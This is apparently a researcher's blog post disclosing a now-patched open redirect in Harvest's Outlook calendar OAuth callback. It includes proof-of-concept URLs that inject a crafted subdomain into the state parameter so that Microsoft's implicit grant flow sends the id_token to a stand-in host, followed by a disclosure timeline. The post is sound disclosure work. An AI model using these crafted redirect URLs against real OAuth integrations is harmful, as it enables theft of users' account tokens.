Stealing OAuth tokens of connected Microsoft accounts via open redirect in Harvest App

    Stealing OAuth tokens of connected Microsoft accounts via open redirect in Harvest App

    • Y Combinator
      Reddit
      Mastodon
    Reported an OAuth token leak via open redirect in Harvest.

    If you are coming from any link aggregrator website reading the old title "Microsoft Account's OAuth tokens leaking via open redirect in Harvest", I apologise for the poor and confusing title used before. I have updated the title but I cannot change it everywhere else. Just to clarify This is not a vulnerability in Microsoft.

    Summary

    Harvest is a time-tracking software that allows users to connect their Outlook Calendar through OAuth. After a successful grant of permission, the user is redirected to https://outlook-integration.harvestapp.com/auth/outlook-calendar/callback which further redirects the user to the URL provided within the state. This leads to an open redirect which can be used to steal access tokens through an implicit grant.

    Proof of Concept

    The bare open redirect which led to the token leak was found after a successful connection to Outlook calendar using OAuth application located at https://hackerone295.harvestapp.com/outlook-calendar/connect. The link was:

    https://outlook-integration.harvestapp.com/auth/outlook-calendar/callback?state=%7b%22return_to%22:%22/%22%2c%22subdomain%22:%22hackerone295%22%7d
    

    state parameter in the above URL is a JSON object URI encoded:

    {"return_to":"/","subdomain":"hackerone295"}
    

    The subdomain parameter is used to guess the main space of the Harvest app ie. hackerone295.harvestapp.com in the above case. Appending a forward slash to the subdomain parameter leads to open redirect:

    https://outlook-integration.harvestapp.com/auth/outlook-calendar/callback?state=%7b%22return_to%22:%22/%22%2c%22subdomain%22:%22example.com/%22%7d
    

    Since the url https://outlook-integration.harvestapp.com/auth/outlook-calendar/callback is set as a redirection URL within the OAuth application, the open redirection can be used to steal the access token.

    Combining the open redirect with implicit grant flow leaks the access tokens to the redirected URL. Implicit grant flow can be crafted as follows:

    https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
    client_id=0dcef4db-36d8-4aed-9cc5-ab43e1814884&response_type=id_token
    &redirect_uri=https%3A%2F%2Foutlook-integration.harvestapp.com%2Fauth%2Foutlook-calendar%2Fcallback?state=%7b%22return_to%22:%22/time%22%2c%22subdomain%22:%22localhost/%22%7d
    &scope=openid
    &response_mode=fragment
    &state=1
    &nonce=123456
    

    The redirect_uri in the above link is the open redirect link. The client_id is the id of OAuth Application accessible via https://hackerone295.harvestapp.com/outlook-calendar/connect

    POC URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=0dcef4db-36d8-4aed-9cc5-ab43e1814884&response_type=id_token&redirect_uri=https%3A%2F%2Foutlook-integration.harvestapp.com%2Fauth%2Foutlook-calendar%2Fcallback?state=%7b%22return_to%22:%22/time%22%2c%22subdomain%22:%22example.com/%22%7d&scope=openid&response_mode=fragment&state=1&nonce=123456

    The user is redirected to:

    https://example.com/.harvestapp.com/auth/outlook-calendar/callback?state=%7B%22return_to%22%3A%22%2Ftime%22%2C%22subdomain%22%3A%22example.com%2F%22%7D#id_token=[your access token]&state=1
    

    Reporting Experience

    In the process of disclosing and patching this vulnerability, the Harvest team was barely responsive. The company acknowledged the vulnerability by triaging but took a very long time to fix the vulnerability. After 3 years of reporting, the company finally fixed the vulnerability silently and didn't bother to inform. On 1st August 2023, I tested the vulnerability again and found it fixed. The report is still marked as triage as of 21 October 2023, and their bug bounty policy mentions rewards but no bounty or even HackerOne points were rewarded by the company. According to their HackerOne page, their average time to triage was 8 days (in 2020) but now it is nil. Hence, finally disclosing this publicly.

    Disclosure Timeline

    Datetime Log
    Aug 23rd, 2020 Reported vulnerability
    Oct 16th, 2020 First contact by Harvest
    Nov 27th, 2020 The report was triaged
    Apr 28th, 2022 The company said they are in the process of fixing it and gave an ETA of 2 weeks but it took them another year to fix it.
    Aug 1st, 2023 The vulnerability was confirmed as patched.
    Oct 21st, 2023 Publicly disclosed the report via this blog post.
    Oct 22nd, 2023 This article made quite a buzz and Harvest has apologised for the delay explaining that it was a human error.